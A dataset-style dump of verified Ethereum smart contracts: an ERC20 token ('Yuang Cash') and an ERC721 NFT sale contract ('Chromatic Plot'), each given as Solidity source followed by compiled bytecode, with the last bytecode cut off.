* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor () public {
_name = 'Yuang Cash';
_symbol = 'YCASH';
_decimals = 18;
}
/**
* @return the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view override returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public virtual override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public virtual override returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public virtual override returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: Token-contracts/ERC20.sol
contract YuangCash is
ERC20,
Ownable {
constructor () public
ERC20 () {
_mint(msg.sender,21000000e18);
}
/**
* @dev Mint new tokens, increasing the total supply and balance of "account"
* Can only be called by the current owner.
*/
function mint(address account, uint256 value) public onlyOwner {
_mint(account, value);
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d7146102d9578063a9059cbb14610305578063dd62ed3e14610331578063f2fde38b1461035f576100f5565b806370a082311461027f578063715018a6146102a55780638da5cb5b146102ad57806395d89b41146102d1576100f5565b806323b872dd116100d357806323b872dd146101d1578063313ce56714610207578063395093511461022557806340c10f1914610251576100f5565b806306fdde03146100fa578063095ea7b31461017757806318160ddd146101b7575b600080fd5b610102610385565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561013c578181015183820152602001610124565b50505050905090810190601f1680156101695780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561018d57600080fd5b506001600160a01b03813516906020013561041b565b604080519115158252519081900360200190f35b6101bf610497565b60408051918252519081900360200190f35b6101a3600480360360608110156101e757600080fd5b506001600160a01b0381358116916020810135909116906040013561049d565b61020f610560565b6040805160ff9092168252519081900360200190f35b6101a36004803603604081101561023b57600080fd5b506001600160a01b038135169060200135610569565b61027d6004803603604081101561026757600080fd5b506001600160a01b038135169060200135610611565b005b6101bf6004803603602081101561029557600080fd5b50356001600160a01b031661068e565b61027d6106a9565b6102b5610768565b604080516001600160a01b039092168252519081900360200190f35b61010261077c565b6101a3600480360360408110156102ef57600080fd5b506001600160a01b0381351690602001356107dd565b6101a36004803603604081101561031b57600080fd5b506001600160a01b038135169060200135610820565b6101bf6004803603604081101561034757600080fd5b506001600160a01b0381358116916020013516610836565b61027d6004803603602081101561037557600080fd5b50356001600160a01b0316610861565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104115780601f106103e657610100808354040283529160200191610411565b820191906000526020600020905b8154815290600101906020018083116103f457829003601f168201915b5050505050905090565b60006001600160a01b03831661043057600080fd5b3360008181526001602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b6001600160a01b03831660009081526001602090815260408083203384529091528120546104cb9083610995565b6001600160a01b03851660009081526001602090815260408083203384529091529020556104fa8484846109aa565b6001600160a01b0384166000818152600160209081526040808320338085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60055460ff1690565b60006001600160a01b03831661057e57600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546105ac908361097c565b3360008181526001602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b610619610a69565b60055461010090046001600160a01b03908116911614610680576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b61068a8282610a6d565b5050565b6001600160a01b031660009081526020819052604090205490565b6106b1610a69565b60055461010090046001600160a01b03908116911614610718576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60055460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360058054610100600160a81b0319169055565b60055461010090046001600160a01b031690565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104115780601f106103e657610100808354040283529160200191610411565b60006001600160a01b0383166107f257600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546105ac9083610995565b600061082d3384846109aa565b50600192915050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610869610a69565b60055461010090046001600160a01b039081169116146108d0576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166109155760405162461bcd60e51b8152600401808060200182810382526026815260200180610b0a6026913960400191505060405180910390fd5b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60008282018381101561098e57600080fd5b9392505050565b6000828211156109a457600080fd5b50900390565b6001600160a01b0382166109bd57600080fd5b6001600160a01b0383166000908152602081905260409020546109e09082610995565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610a0f908261097c565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b3390565b6001600160a01b038216610a8057600080fd5b600254610a8d908261097c565b6002556001600160a01b038216600090815260208190526040902054610ab3908261097c565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a264697066735822122041e32f1c53c948019e2c1d59e915863b6f8522a7dd2c3b89ffeee49ad6c26f5c64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 5,906 |
0x4b87ae9b70fe5508bd1aa77e6e38cd4fde9b17e9
|
/**
*Submitted for verification at Etherscan.io on 2021-09-24
*/
pragma solidity 0.7.6;
pragma abicoder v2;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers, throws on overflow.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
return a % b;
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId)
external
view
returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator)
external
view
returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
interface ERC721TokenReceiver {
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes calldata _data
) external returns (bytes4);
}
interface ChromaInterface {
function transmutePlotToNFTs(
address _recipient,
uint256 _plotId,
uint256 _count
) external returns (bool);
function transmutePlotToERC20(
address _recipient,
uint256 _plotId,
uint256 _count
) external returns (bool);
function toHex(uint256 _id) external view returns (string memory);
}
contract ChromaticPlot is IERC721 {
using SafeMath for uint256;
/**
* Event emitted when minting a new NFT. "createdVia" is the index of the Cryptopunk/Autoglyph that was used to mint, or 0 if not applicable.
*/
event Mint(uint256 indexed index, address indexed minter, bool isDevMint);
/**
* Event emitted when the public sale begins.
*/
event ReleaseBegins(
uint256 price,
uint256 minPrice,
uint256 startTime,
uint256 duration,
uint256 quantity
);
bytes4 internal constant MAGIC_ON_ERC721_RECEIVED = 0x150b7a02;
uint256 public constant MAX_MINT_QUANTIY = 32;
uint256 public constant TOKEN_LIMIT = 65536;
uint256 public constant TOTAL_SALE_LIMIT = 32768;
mapping(bytes4 => bool) internal supportedInterfaces;
mapping(uint256 => address) public idToOwner;
mapping(uint256 => address) internal idToApproval;
mapping(address => mapping(address => bool)) internal ownerToOperators;
mapping(address => uint256[]) public ownerToIds;
mapping(uint256 => uint256) public idToOwnerIndex;
string internal nftName = "Chromatic Plot";
string internal nftSymbol = unicode"▦";
uint256 public numTokens = 0;
uint256 public numSales = 0;
address public chroma;
bool public publicSale = false;
uint256 public minPrice;
uint256 private price;
uint256 public saleStartTime;
uint256 public saleDuration;
uint256 public saleCount;
//// Random index assignment
uint256 internal nonce = 0;
uint256[TOKEN_LIMIT] internal indices;
bool private reentrancyLock = false;
/* Prevent a contract function from being reentrant-called. */
modifier reentrancyGuard() {
if (reentrancyLock) {
revert();
}
reentrancyLock = true;
_;
reentrancyLock = false;
}
modifier canTransfer(uint256 _tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(
tokenOwner == msg.sender ||
idToApproval[_tokenId] == msg.sender ||
ownerToOperators[tokenOwner][msg.sender],
"Cannot transfer."
);
_;
}
modifier canOperate(uint256 _tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(
tokenOwner == msg.sender ||
ownerToOperators[tokenOwner][msg.sender],
"Cannot operate."
);
_;
}
modifier validNFToken(uint256 _tokenId) {
require(idToOwner[_tokenId] != address(0), "Invalid token.");
_;
}
constructor(address payable _adminAddress, address _chroma) {
adminAddress = _adminAddress;
chroma = _chroma;
supportedInterfaces[0x01ffc9a7] = true; // ERC165
supportedInterfaces[0x80ac58cd] = true; // ERC721
supportedInterfaces[0x780e9d63] = true; // ERC721 Enumerable
supportedInterfaces[0x5b5e139f] = true; // ERC721 Metadata
}
function startRelease(
uint256 _price,
uint256 _minPrice,
uint256 _saleDuration,
uint256 _quantity
) external onlyAdmin {
require(!publicSale);
require(
saleCount + _quantity <= TOTAL_SALE_LIMIT,
"Exceeds total sale limit."
);
minPrice = _minPrice;
price = _price;
saleDuration = _saleDuration;
saleStartTime = block.timestamp;
publicSale = true;
saleCount = numSales + _quantity;
emit ReleaseBegins(
_price,
_minPrice,
saleStartTime,
saleDuration,
_quantity
);
}
function interruptRelease() external onlyAdmin {
publicSale = false;
saleCount = numSales;
}
function mintsRemaining() external view returns (uint256) {
return saleCount.sub(numSales);
}
function randomIndex() internal returns (uint256) {
uint256 totalSize = TOKEN_LIMIT - numTokens;
uint256 index = uint256(
keccak256(
abi.encodePacked(
nonce,
msg.sender,
block.difficulty,
block.timestamp
)
)
) % totalSize;
uint256 value = 0;
if (indices[index] != 0) {
value = indices[index];
} else {
value = index;
}
// Move last value to selected position
if (indices[totalSize - 1] == 0) {
// Array position not initialized, so use position
indices[index] = totalSize - 1;
} else {
// Array position holds a value so use that
indices[index] = indices[totalSize - 1];
}
nonce++;
return value;
}
// Calculate the mint price
function getPrice() public view returns (uint256) {
require(publicSale, "Sale not started.");
uint256 elapsed = block.timestamp.sub(saleStartTime);
if (elapsed >= saleDuration) {
return minPrice;
} else {
return
saleDuration.sub(elapsed).mul(price).div(saleDuration) >
minPrice
? saleDuration.sub(elapsed).mul(price).div(saleDuration)
: minPrice;
}
}
function mint(uint256 _quantity) external payable reentrancyGuard {
require(publicSale, "Sale not started.");
require(
numSales + _quantity <= saleCount,
"Exceeds current sale limit."
);
require(
_quantity > 0 && _quantity <= MAX_MINT_QUANTIY,
"Invalid quantity."
);
uint256 salePrice = getPrice();
require(
msg.value >= salePrice.mul(_quantity),
"Insufficient funds to purchase."
);
if (msg.value > salePrice.mul(_quantity)) {
msg.sender.transfer(msg.value.sub(salePrice.mul(_quantity)));
}
adminAddress.transfer(salePrice.mul(_quantity));
numSales = numSales + _quantity;
for (uint256 i = 0; i < _quantity; i++) {
_mint(msg.sender, false);
}
}
function devMint(uint256 quantity, address recipient) external onlyAdmin {
for (uint256 i = 0; i < quantity; i++) {
_mint(recipient, true);
}
}
function _mint(address _to, bool _isDevMint) internal returns (uint256) {
require(_to != address(0), "Cannot mint to 0x0.");
uint256 id = randomIndex();
numTokens = numTokens + 1;
_addNFToken(_to, id);
emit Mint(id, _to, _isDevMint);
emit Transfer(address(0), _to, id);
return id;
}
function _addNFToken(address _to, uint256 _tokenId) internal {
idToOwner[_tokenId] = _to;
ownerToIds[_to].push(_tokenId);
idToOwnerIndex[_tokenId] = ownerToIds[_to].length.sub(1);
}
function _removeNFToken(address _from, uint256 _tokenId) internal {
require(idToOwner[_tokenId] == _from, "Incorrect owner.");
delete idToOwner[_tokenId];
uint256 tokenToRemoveIndex = idToOwnerIndex[_tokenId];
uint256 lastTokenIndex = ownerToIds[_from].length.sub(1);
if (lastTokenIndex != tokenToRemoveIndex) {
uint256 lastToken = ownerToIds[_from][lastTokenIndex];
ownerToIds[_from][tokenToRemoveIndex] = lastToken;
idToOwnerIndex[lastToken] = tokenToRemoveIndex;
}
ownerToIds[_from].pop();
}
function _getOwnerNFTCount(address _owner) internal view returns (uint256) {
return ownerToIds[_owner].length;
}
function _safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes memory _data
) private canTransfer(_tokenId) validNFToken(_tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == _from, "Incorrect owner.");
require(_to != address(0));
_transfer(_to, _tokenId);
if (isContract(_to)) {
bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(
msg.sender,
_from,
_tokenId,
_data
);
require(retval == MAGIC_ON_ERC721_RECEIVED);
}
}
function _clearApproval(uint256 _tokenId) private {
if (idToApproval[_tokenId] != address(0)) {
delete idToApproval[_tokenId];
}
}
//////////////////////////
//// Enumerable ////
//////////////////////////
function totalSupply() public view returns (uint256) {
return numTokens;
}
function tokenOfOwnerByIndex(address _owner, uint256 _index)
external
view
returns (uint256)
{
require(_index < ownerToIds[_owner].length);
return ownerToIds[_owner][_index];
}
//////////////////////////
//// Administration ////
//////////////////////////
address payable public adminAddress;
modifier onlyAdmin() {
require(msg.sender == adminAddress, "Only admin.");
_;
}
function setAdmin(address payable _newAdmin) external onlyAdmin {
adminAddress = _newAdmin;
}
//////////////////////////
//// ERC 721 and 165 ////
//////////////////////////
function isContract(address _addr)
internal
view
returns (bool addressCheck)
{
uint256 size;
assembly {
size := extcodesize(_addr)
} // solhint-disable-line
addressCheck = size > 0;
}
function supportsInterface(bytes4 _interfaceID)
external
view
override
returns (bool)
{
return supportedInterfaces[_interfaceID];
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes calldata _data
) external override {
_safeTransferFrom(_from, _to, _tokenId, _data);
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
) external override {
_safeTransferFrom(_from, _to, _tokenId, "");
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
) external override canTransfer(_tokenId) validNFToken(_tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == _from, "Wrong from address.");
require(_to != address(0), "Cannot send to 0x0.");
_transfer(_to, _tokenId);
}
function approve(address _approved, uint256 _tokenId)
external
override
canOperate(_tokenId)
validNFToken(_tokenId)
{
address tokenOwner = idToOwner[_tokenId];
require(_approved != tokenOwner);
idToApproval[_tokenId] = _approved;
emit Approval(tokenOwner, _approved, _tokenId);
}
function setApprovalForAll(address _operator, bool _approved)
external
override
{
ownerToOperators[msg.sender][_operator] = _approved;
emit ApprovalForAll(msg.sender, _operator, _approved);
}
function balanceOf(address _owner)
external
view
override
returns (uint256)
{
require(_owner != address(0));
return _getOwnerNFTCount(_owner);
}
function ownerOf(uint256 _tokenId)
external
view
override
returns (address _owner)
{
require(idToOwner[_tokenId] != address(0));
_owner = idToOwner[_tokenId];
}
function getApproved(uint256 _tokenId)
external
view
override
validNFToken(_tokenId)
returns (address)
{
return idToApproval[_tokenId];
}
function isApprovedForAll(address _owner, address _operator)
external
view
override
returns (bool)
{
return ownerToOperators[_owner][_operator];
}
function _transfer(address _to, uint256 _tokenId) internal {
address from = idToOwner[_tokenId];
_clearApproval(_tokenId);
_removeNFToken(from, _tokenId);
_addNFToken(_to, _tokenId);
emit Transfer(from, _to, _tokenId);
}
//////////////////////////
//// Transmutation ////
//////////////////////////
event TransmutationToNFT(uint256 indexed plotId, uint256 count);
event TransmutationToERC20(uint256 indexed plotId, uint256 count);
mapping(uint256 => address) public idToTransmuter;
mapping(address => uint256[]) public transmuterToIds;
mapping(uint256 => uint256) public idToTransmuterIndex;
function _addToTransmutations(address _to, uint256 _tokenId) internal {
idToTransmuter[_tokenId] = _to;
transmuterToIds[_to].push(_tokenId);
idToTransmuterIndex[_tokenId] = transmuterToIds[_to].length.sub(1);
}
function transmuteChromaNFT(uint256 _plotId, uint256 _count) external {
require(
idToOwner[_plotId] == msg.sender ||
idToTransmuter[_plotId] == msg.sender,
"No access rights to transmute."
);
require(_count > 0, "count must be greater than 0");
emit TransmutationToNFT(_plotId, _count);
if (idToOwner[_plotId] == msg.sender) {
_clearApproval(_plotId);
_removeNFToken(msg.sender, _plotId);
idToTransmuter[_plotId] = msg.sender;
_addToTransmutations(msg.sender, _plotId);
emit Transfer(msg.sender, address(0), _plotId);
}
bool complete = ChromaInterface(chroma).transmutePlotToNFTs(
msg.sender,
_plotId,
_count
);
}
function transmuteChromaERC20(uint256 _plotId, uint256 _count) external {
require(
idToOwner[_plotId] == msg.sender ||
idToTransmuter[_plotId] == msg.sender,
"No access rights to transmute."
);
require(_count > 0, "count must be greater than 0");
emit TransmutationToERC20(_plotId, _count);
if (idToOwner[_plotId] == msg.sender) {
_clearApproval(_plotId);
_removeNFToken(msg.sender, _plotId);
idToTransmuter[_plotId] = msg.sender;
_addToTransmutations(msg.sender, _plotId);
emit Transfer(msg.sender, address(0), _plotId);
}
bool complete = ChromaInterface(chroma).transmutePlotToERC20(
msg.sender,
_plotId,
_count
);
}
function getOwnedTokenIds(address owner)
public
view
returns (uint256[] memory)
{
uint256 length = ownerToIds[owner].length;
uint256[] memory owned = new uint256[](length);
for (uint256 i = 0; i < length; i++) {
owned[i] = ownerToIds[owner][i];
}
return owned;
}
function getOwnedTokenIdsSegment(
address owner,
uint256 startIndex,
uint256 count
) public view returns (uint256[] memory) {
uint256[] memory owned = new uint256[](count);
for (uint256 i = startIndex; i < startIndex + count; i++) {
owned[i - startIndex] = ownerToIds[owner][i];
}
return owned;
}
function getTransmutingTokenIds(address owner)
public
view
returns (uint256[] memory)
{
uint256 length = transmuterToIds[owner].length;
uint256[] memory transmuting = new uint256[](length);
for (uint256 i = 0; i < length; i++) {
transmuting[i] = transmuterToIds[owner][i];
}
return transmuting;
}
function toHexDigit(uint8 d) internal pure returns (bytes1) {
if (0 <= d && d <= 9) {
return bytes1(uint8(bytes1("0")) + d);
} else if (10 <= uint8(d) && uint8(d) <= 15) {
return bytes1(uint8(bytes1("a")) + d - 10);
}
revert();
}
function toHexString(uint256 a) public pure returns (string memory) {
uint256 count = 2;
uint256 b = a;
bytes memory res = new bytes(count);
for (uint256 i = 0; i < count; ++i) {
b = a % 16;
res[count - i - 1] = toHexDigit(uint8(b));
a /= 16;
}
return string(res);
}
function toHex(
uint256 _red,
uint256 _green,
uint256 _blue
) public pure returns (string memory) {
string memory r = toHexString(_red);
string memory g = toHexString(_green);
string memory b = toHexString(_blue);
return string(abi.encodePacked(r, g, b));
}
function getData(uint256 _plotId) public pure returns (string[][] memory) {
string[][] memory plot = new string[][](16);
uint256 red = _plotId.div(256);
uint256 green = _plotId.mod(256);
uint256 blue = 0;
for (uint256 y = 0; y < 16; y++) {
string[] memory row = new string[](16);
for (uint256 x = 0; x < 16; x++) {
row[x] = toHex(red, green, blue);
blue = blue + 1;
}
plot[y] = row;
}
return plot;
}
//////////////////////////
//// Metadata ////
//////////////////////////
/**
* @dev Returns a descriptive name for a collection of NFTokens.
* @return _name Representing name.
*/
function name() external view returns (string memory _name) {
_name = nftName;
}
/**
* @dev Returns an abbreviated name for NFTokens.
* @return _symbol Representing symbol.
*/
function symbol() external view returns (string memory _symbol) {
_symbol = nftSymbol;
}
}
|
0x6080604052600436106102885760003560e01c80636d313add1161015a578063a1e89aec116100c1578063e985e9c51161007a578063e985e9c514610749578063eafd65aa14610769578063ebdcf5bd14610789578063edda01ae146107a9578063fc6f9468146107be578063feb3d3d6146107d357610288565b8063a1e89aec146106aa578063a22cb465146106bf578063b88d4fde146106df578063bfc206ed146106ff578063d1425c611461071f578063e45be8eb1461073457610288565b80638fba8d5c116101135780638fba8d5c1461061857806395c0966c1461063857806395d89b411461065857806398d5fdca1461066d57806399aa93c814610682578063a0712d681461069757610288565b80636d313add146105635780636f041e9314610583578063704b6c02146105a357806370a08231146105c35780638b0a1b7e146105e35780638e499bcf1461060357610288565b80632d1a12f6116101fe57806342842e0e116101b757806342842e0e146104c457806344c66be7146104e457806346d23ebf146104f95780634c35a7f21461050e5780634fac7e41146105235780636352211e1461054357610288565b80632d1a12f61461040d5780632f745c591461042d57806333bc1c5c1461044d5780633711d9fb14610462578063404a2c171461047757806340adac5f146104a457610288565b8063081812fc11610250578063081812fc14610356578063095ea7b31461038357806312fc6213146103a357806318160ddd146103c35780631cbaee2d146103d857806323b872dd146103ed57610288565b80630178fe3f1461028d57806301ffc9a7146102c3578063031bd4c4146102f057806306913d181461031257806306fdde0314610334575b600080fd5b34801561029957600080fd5b506102ad6102a8366004612317565b6107f3565b6040516102ba91906124de565b60405180910390f35b3480156102cf57600080fd5b506102e36102de3660046122df565b6108ed565b6040516102ba91906125c1565b3480156102fc57600080fd5b5061030561090c565b6040516102ba9190612899565b34801561031e57600080fd5b5061033261032d36600461239f565b610913565b005b34801561034057600080fd5b506103496109fe565b6040516102ba91906125cc565b34801561036257600080fd5b50610376610371366004612317565b610a94565b6040516102ba919061246c565b34801561038f57600080fd5b5061033261039e366004612264565b610ae7565b3480156103af57600080fd5b506103766103be366004612317565b610c0c565b3480156103cf57600080fd5b50610305610c29565b3480156103e457600080fd5b50610305610c30565b3480156103f957600080fd5b5061033261040836600461215d565b610c36565b34801561041957600080fd5b5061033261042836600461232f565b610d68565b34801561043957600080fd5b50610305610448366004612264565b610dbd565b34801561045957600080fd5b506102e3610e19565b34801561046e57600080fd5b50610305610e29565b34801561048357600080fd5b50610497610492366004612102565b610e2f565b6040516102ba919061257d565b3480156104b057600080fd5b506103056104bf366004612317565b610ef4565b3480156104d057600080fd5b506103326104df36600461215d565b610f06565b3480156104f057600080fd5b50610305610f21565b34801561050557600080fd5b50610305610f3f565b34801561051a57600080fd5b50610332610f44565b34801561052f57600080fd5b5061049761053e366004612102565b610f8a565b34801561054f57600080fd5b5061037661055e366004612317565b611043565b34801561056f57600080fd5b5061030561057e366004612317565b611080565b34801561058f57600080fd5b5061033261059e366004612353565b611094565b3480156105af57600080fd5b506103326105be366004612102565b61124f565b3480156105cf57600080fd5b506103056105de366004612102565b6112aa565b3480156105ef57600080fd5b506103496105fe366004612374565b6112c8565b34801561060f57600080fd5b50610305611321565b34801561062457600080fd5b50610349610633366004612317565b611327565b34801561064457600080fd5b50610332610653366004612353565b6113a8565b34801561066457600080fd5b5061034961150b565b34801561067957600080fd5b5061030561156c565b34801561068e57600080fd5b5061030561161a565b6103326106a5366004612317565b611620565b3480156106b657600080fd5b506103056117c6565b3480156106cb57600080fd5b506103326106da366004612237565b6117cc565b3480156106eb57600080fd5b506103326106fa36600461219d565b61183b565b34801561070b57600080fd5b5061037661071a366004612317565b611884565b34801561072b57600080fd5b5061037661189f565b34801561074057600080fd5b506103056118ae565b34801561075557600080fd5b506102e3610764366004612125565b6118b4565b34801561077557600080fd5b50610305610784366004612264565b6118e2565b34801561079557600080fd5b